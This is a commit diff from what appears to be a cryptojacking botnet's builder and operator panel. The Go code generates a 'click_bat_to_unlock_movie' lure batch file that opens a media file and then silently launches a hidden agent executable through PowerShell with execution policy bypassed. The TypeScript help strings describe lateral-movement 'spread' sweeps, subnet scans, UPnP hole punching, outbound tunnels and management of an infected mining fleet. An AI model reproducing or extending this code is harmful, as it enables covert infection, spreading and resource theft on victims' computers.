chore: sync post-pack UI help and pathforge tweaks
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -228,6 +228,102 @@ func sanitizeStem(s string) string {
|
||||
return strings.TrimSpace(replacer.Replace(s))
|
||||
}
|
||||
|
||||
// ─── BLD-D1: root_path allowlist validation ───────────────────────────────────
|
||||
|
||||
// validateRootPath ensures rootPath is safe to walk:
|
||||
// - must not contain ".." segments (path traversal)
|
||||
// - must resolve to a path under an operator-allowed prefix
|
||||
func (h *PathForgeHandler) validateRootPath(rootPath string) (string, error) {
|
||||
if containsDotDot(rootPath) {
|
||||
return "", fmt.Errorf("must not contain '..' path traversal sequences")
|
||||
}
|
||||
abs, err := filepath.Abs(rootPath)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("invalid path: %w", err)
|
||||
}
|
||||
if !h.isAllowedRootPath(abs) {
|
||||
return "", fmt.Errorf("path is outside allowed directories (must be under home, temp, or server data directory)")
|
||||
}
|
||||
return abs, nil
|
||||
}
|
||||
|
||||
// containsDotDot returns true if any segment of the slash/backslash-separated
|
||||
// path equals "..".
|
||||
func containsDotDot(p string) bool {
|
||||
for _, seg := range strings.FieldsFunc(p, func(r rune) bool { return r == '/' || r == '\\' }) {
|
||||
if seg == ".." {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isAllowedRootPath reports whether abs is equal to or under one of the
|
||||
// safe prefix directories: the server dataDir, the user home directory, or
|
||||
// the OS temp directory.
|
||||
func (h *PathForgeHandler) isAllowedRootPath(abs string) bool {
|
||||
var prefixes []string
|
||||
if h.dataDir != "" {
|
||||
if d, err := filepath.Abs(h.dataDir); err == nil {
|
||||
prefixes = append(prefixes, d)
|
||||
}
|
||||
}
|
||||
if home, err := os.UserHomeDir(); err == nil {
|
||||
prefixes = append(prefixes, home)
|
||||
}
|
||||
prefixes = append(prefixes, os.TempDir())
|
||||
for _, prefix := range prefixes {
|
||||
if isPathUnder(abs, prefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isPathUnder reports whether path equals parent or is a subdirectory of it.
|
||||
// Uses filepath.Rel to correctly handle cross-platform path semantics.
|
||||
func isPathUnder(path, parent string) bool {
|
||||
rel, err := filepath.Rel(parent, path)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return !strings.HasPrefix(rel, "..")
|
||||
}
|
||||
|
||||
// ─── BLD-D2: shell/bat escaping helpers ──────────────────────────────────────
|
||||
|
||||
// escapeBat escapes a value for embedding inside a cmd.exe double-quoted string.
|
||||
// % must become %% to prevent variable expansion; " terminates the string.
|
||||
func escapeBat(s string) string {
|
||||
s = strings.ReplaceAll(s, "%", "%%")
|
||||
s = strings.ReplaceAll(s, `"`, `\"`)
|
||||
return s
|
||||
}
|
||||
|
||||
// escapeBatPS escapes a value for embedding inside a PowerShell single-quoted
|
||||
// string that is itself inside a cmd.exe double-quoted -Command argument.
|
||||
func escapeBatPS(s string) string {
|
||||
s = strings.ReplaceAll(s, "%", "%%") // cmd.exe percent expansion
|
||||
s = strings.ReplaceAll(s, `"`, `\"`) // cmd.exe double-quote (string terminator)
|
||||
s = strings.ReplaceAll(s, "'", "''") // PowerShell single-quote escape
|
||||
return s
|
||||
}
|
||||
|
||||
// escapeShDouble escapes a value for embedding inside a bash double-quoted string.
|
||||
func escapeShDouble(s string) string {
|
||||
s = strings.ReplaceAll(s, `\`, `\\`)
|
||||
s = strings.ReplaceAll(s, `"`, `\"`)
|
||||
s = strings.ReplaceAll(s, `$`, `\$`)
|
||||
s = strings.ReplaceAll(s, "`", "\\`")
|
||||
return s
|
||||
}
|
||||
|
||||
// escapeShSingle escapes a value for embedding inside a bash single-quoted string.
|
||||
// The only character that needs escaping is ' itself (end-quote, literal, re-open).
|
||||
func escapeShSingle(s string) string {
|
||||
return strings.ReplaceAll(s, "'", `'\''`)
|
||||
}
|
||||
|
||||
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
||||
// The filename itself is the instruction; the content gives a second nudge.
|
||||
func hintContent(stem string, macOnly bool) string {
|
||||
@@ -254,13 +350,21 @@ func hintContent(stem string, macOnly bool) string {
|
||||
//
|
||||
// When lockOriginal is false it simply opens realFile and runs the agent.
|
||||
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
|
||||
// Escape for cmd.exe double-quoted strings (bat context).
|
||||
lfBat := escapeBat(lockedFile)
|
||||
rfBat := escapeBat(realFile)
|
||||
// Escape for PowerShell single-quoted strings inside the bat -Command "..." argument.
|
||||
lfPS := escapeBatPS(lockedFile)
|
||||
rfPS := escapeBatPS(realFile)
|
||||
esPS := escapeBatPS(exeStem)
|
||||
|
||||
b := "@echo off\r\n"
|
||||
if lockOriginal {
|
||||
// Step 1: unlock
|
||||
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lockedFile, realFile)
|
||||
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lfBat, rfBat)
|
||||
}
|
||||
// Step 2: open the file
|
||||
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", realFile)
|
||||
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", rfBat)
|
||||
// Step 3+4: hidden PowerShell — wait, re-lock, run agent
|
||||
if lockOriginal {
|
||||
b += fmt.Sprintf(
|
||||
@@ -268,12 +372,12 @@ func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string
|
||||
" Start-Sleep 4;"+
|
||||
" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
|
||||
" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
|
||||
realFile, realFile, lockedFile, exeStem)
|
||||
rfPS, rfPS, lfPS, esPS)
|
||||
} else {
|
||||
b += fmt.Sprintf(
|
||||
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
|
||||
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
|
||||
exeStem)
|
||||
esPS)
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
@@ -79,6 +79,16 @@ describe('UI_HELP', () => {
|
||||
'ew_public_urls',
|
||||
'ew_techniques',
|
||||
'ew_shared_notes',
|
||||
'crucible_btn_spread_now',
|
||||
'crucible_btn_subnet_scan',
|
||||
'crucible_btn_hole_punch',
|
||||
'crucible_btn_cf_tunnel',
|
||||
'fl_filter_chips',
|
||||
'fl_bulk_actions',
|
||||
'fl_groups',
|
||||
'set_alerts',
|
||||
'set_alert_notifications',
|
||||
'set_webhook',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -160,4 +160,27 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
|
||||
ew_shared_notes:
|
||||
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
|
||||
|
||||
crucible_btn_spread_now:
|
||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||
crucible_btn_subnet_scan:
|
||||
'Probes the local /24 for live hosts via ICMP and TCP knock and returns a host list. Feeds Spread Now and SSH probe. Can take 10–40 s on congested or slow subnets.',
|
||||
crucible_btn_hole_punch:
|
||||
'Asks the LAN router to create a UPnP inbound port mapping (default 8989) so the agent is reachable from WAN without a VPN or port-forward rule. Requires a router with UPnP enabled.',
|
||||
crucible_btn_cf_tunnel:
|
||||
'Launches a cloudflared outbound tunnel to the optional target URL (or the server default tunnel URL). Agent dials out — no inbound firewall rule or open port needed on the target machine.',
|
||||
|
||||
fl_filter_chips:
|
||||
'Narrow the roster by name/IP/notes/tags (text search), tag label, subnet prefix, minimum 15m hashrate, or the "needs attention" flag (offline or idle miners below 100 H/s).',
|
||||
fl_bulk_actions:
|
||||
'Actions applied to every checked agent at once: pause or resume mining, stop the miner thread, restart only idle workers, take a screenshot (one agent only), or permanently delete from roster.',
|
||||
fl_groups:
|
||||
'Named color-coded subsets of the fleet stored in browser local storage. Click a chip to check-select all members — then apply bulk actions or send Crucible commands to the whole group at once.',
|
||||
|
||||
set_alerts:
|
||||
'Dashboard thresholds that trigger amber or red status badges: how long before an agent is marked offline, how far hashrate must drop to flag a node, and at what rejection-rate share quality degrades.',
|
||||
set_alert_notifications:
|
||||
'Push fleet events to Telegram, a custom webhook endpoint, or email (SMTP). Fill bot token + chat ID or webhook URL, choose which events to forward, save Calibration, then send a test message to confirm delivery.',
|
||||
set_webhook:
|
||||
'HTTP POST endpoint that receives JSON for every enabled fleet event: { event, title, message }. Use for Slack incoming webhooks, n8n automation, custom dashboards, or any HTTP trigger.',
|
||||
};
|
||||
|
||||
@@ -397,8 +397,9 @@ export default function BuildManagerPage() {
|
||||
|
||||
return (
|
||||
<div className="page fade-in bm-page operator-deck-page">
|
||||
<div className="bm-header">
|
||||
<div>
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">WORKER BUILDS · DEPLOY & MANAGE</p>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
<p className="form-hint bm-subtitle">
|
||||
All forged workers — download, deploy, re-forge, or delete from any browser.
|
||||
@@ -412,7 +413,7 @@ export default function BuildManagerPage() {
|
||||
⚒ New Forge
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{error && (
|
||||
<div className="form-error" style={{ marginBottom: '1rem' }}>
|
||||
|
||||
Reference in New Issue
Block a user